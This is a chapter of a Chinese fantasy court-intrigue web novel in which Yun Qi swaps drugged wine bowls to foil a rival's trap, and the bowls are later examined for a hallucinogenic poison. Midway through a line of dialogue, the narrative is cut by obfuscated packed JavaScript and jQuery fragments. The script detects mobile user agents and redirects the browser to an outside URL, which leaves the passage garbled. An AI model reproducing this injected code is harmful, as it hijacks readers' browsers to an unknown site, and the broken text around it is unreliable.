158. 落荒而逃

    云七一直悬在喉咙的心,此时才真正落下,那酒碗果然是动过手脚的,现在只需要专心欣赏,他们如何自食其果。


    玄元瑧眼底,闪过一丝玩味,虽然他不清楚玄元洛到底动了什么手脚,但心知这局应该是被破了。


    而且破局的一定是云七。


    刚才她去质问阿克,分明是在做戏,借此遮掩她的真实目的。


    除了玄元瑧,知道内情的玄元洛、西岭紫和阿克,也已经意识到出了问题,而且立刻确认岔子就出在云七身上。


    绝对不能让阿克再喝下去了,醉酒之后认输磕头事小,幻梦丝药性催发后,言行无状,宛如疯癫,足以让他身败名裂。


    西岭紫看了一眼扶山唳,垂在矮几下面的手快速屈伸,做了几个手势。


    这个角度,只有扶山唳一个人能看到,其余人都看不到她的手指动作。


    扶山唳站起身:“你们慢慢喝,我去更衣。”


    金连年和阿克再次喝下一碗,两个人刚把碗放下,忽然屋顶上哗啦一声,出现碗口大的一个洞,一支小箭射向玄元洛。


    “有刺客!”


    玄元洛身后亲随厉声喝道,闪身挡在玄元洛身前,一掌击出,那支小箭反弹开去,挟着劲风,击碎了矮几上的酒瓶、酒杯,碎片激射开去。


    哐当当。


    众人纷纷散避碎片,矮几上的碗碟被碎片溅到,乒乒乓乓碎裂开来。


    只听上面瓦片哐当乱响,碎片从屋顶掉落,不时有小洞出现,小箭从小洞里射出,像是有人一边奔逃,一边出手。


    一块掉落的瓦片,挟着风声,砸到阿克头上,阿克身形晃了晃,双眼一闭,倒在地上。


    “大哥!”阿盖扑上前,伏在阿克身上。


    湖心阁外站着的亲随们,听到里面动静,已经冲了进来,分别护住玄元瑧和玄元洛,一时间整个内厅杯盘狼藉。


    玄元洛:“都跑进来干什么,快去抓刺客!”


    亲随:“殿下安危为重,属下先护着殿下离开这里。”


    玄元瑧似笑非笑:“区区刺客,连面都不敢露,三弟倒也不必如此惊慌失措。”


    玄元洛正色道:“二哥,你我身份尊贵,再怎么小心也不为过。”


    ……


    刺客自然是没抓着,筵席自然也就到此为止,至于金连年和阿克的拼酒,既然阿克已经受伤昏迷,只能不了了之。


    众人离开湛庐,各回各家。


    扶山唳坐在自家马车里,闭目养神,过了一会,他忽然睁开眼睛,吩咐一帘之隔的车夫:“云七中途从内厅离开,再回来时,对我有了杀意,去查一下,她离开内厅,都去了什么地方,见过什么人。”


    ……


    云七、季临一行六人坐上租来的马车,刚走出没多久,就见前面横着一辆豪华阔大的马车,挡住他们的去路。


    车帘掀开,玄元瑧坐在里面,微笑道:“我跟云七说几句话。”


    云七下了马车,上了玄元瑧的马车,在他对面坐下。


    车帘垂下,马车开始慢慢行驶。


    想起玄元洛一行人,借着遇刺名头、落荒而逃的情形,玄元瑧只觉浑身像泡在温泉里一般舒爽,满意地看着云七:“你是怎么破了他们的局?”


    云七:“装秋露白的酒瓶是泥封的,无法动手脚,那就应该是在酒碗上,我故意去质问阿克,趁机把金连年和他的酒碗换了一下。”


    玄元瑧拊掌笑道:“原来如此,我就知道,你这样的人,怎么可能被阿克迷惑。”


    云七感慨:“有的人明明很普通,偏偏又迷之自信。”


    玄元瑧:“老三应该已经猜到跟你有关系,他倒是见机的快,刺客,哼,湛庐那种地方,怎么可能有刺客,应该是扶山唳捣鬼。”


    云七:“一群输不起的白痴罢了。”


    玄元瑧哈哈大笑:“不浪费时间在白痴身上了,那位松绿衣袍少女,可联系到了?”


    云七:“那位松绿衣袍姐姐说,她每月的第十五天,会在胡姬酒肆吃晚食,你如果想见她,到时可以去那里。”


    玄元瑧喜上眉梢,点头:“好。”


    ……


    云七从玄元瑧马车下来,季临他们的马车就在不远处等着,她上了马车,见季临等人齐刷刷盯着自己。


    她莫名其妙:“怎么了?”


    季临:“阿克在幻荒小天地对你说的话,都是假的,你可千万别相信。”


    云七懒洋洋一笑,从衣袋里取出两只酒碗,正是那两只紫衣冰裂纹碗。


    季临瞪大眼睛:“这酒碗怎么到你那里了?”


    云七:“当时趁乱拿走了。”


    金连年突然想到当年在莲湖小天地里,那名松绿衣衫少女摸走那把透明柳叶刀的情景,云七怎么也有这嗜好?


    云七:“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889832|141702||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    金连年拿到的那只冰裂紫玉碗有问题,用那个碗喝酒,可能会醉得很快,我对阿克说那些话,是为了把他俩的碗调换一下。”


    有人恍然大悟,有人微笑不语,有人忍俊不禁。


    金连年怒道:“真是无耻小人,居然用这般卑鄙手段。”


    云七:“咱们去找越,让他看一下这碗里的玄机。”


    ……


    马车在仲景药铺门前停下,云七一行六人径直进了后院,去了牧风越房中。


    牧风越正坐在桌边,桌上摆着一张沙盘,他凝视着沙盘,细白沙子神奇的滚动着,仿佛被无形的手牵动,在沙盘间变化着形状。


    六个人进屋后,不敢打扰他,只静静站在一边,看着沙盘。


    高田繇盯着沙盘上的沙子,神情突然有些恍惚,喃喃道:“一沙一世界,芥子纳须弥,原来如此,原来如此……”


    他身周天地之炁缓缓波动,观沙盘顿悟,一念之间,破凡人三境,晋入宗师四境。


    他神识收敛,恭恭敬敬朝牧风越作揖:“多谢越兄长点化。”


    牧风越收起沙盘,淡淡道:“也是你本身的积累到了,厚积薄发。”


    众人纷纷恭喜高田繇,闹着让他请客,最后讹了他三顿饭,这才作罢,转回正事。


    云七取出两只冰裂紫玉碗,放到牧风越面前,说了在湛庐发生的事情,请他看下酒碗里面到底有什么问题。


    牧风越手指虚画,两只碗里凭空出现半碗清水。


    其中一个碗里的清水渐渐泛出丝丝缕缕的黑色。


    “这只碗的纹路中,凝着幻梦丝,幻梦丝无色无味,只溶于烈酒,喝下去后会神智错乱,言行无状,宛如醉酒发疯,但酒劲发散后,人就可恢复正常。”


    金连年盯着酒碗,惊怒之余,隐隐有些后怕,如果不是云七识破圈套,那他拼酒输了,若真要磕头认错,那还不如杀了他。


    他之所以敢拼酒,是因为他自身体质特殊,再烈的酒也喝不醉,但幻梦丝不是酒,而是毒,那他就没有抵御之力了。


    云七瞥了金连年一眼:“阿克那种人,不配和你拼酒,下次要拼酒,好歹找个上点档次的人。”


    金连年自然不屑解释,他之所以和阿克拼酒,是想让他酒后出丑,好让云七认清阿克的真面目,免得她被蛊惑。


    如今既已清楚云七压根就没把阿克放在眼里,他心中自是高兴。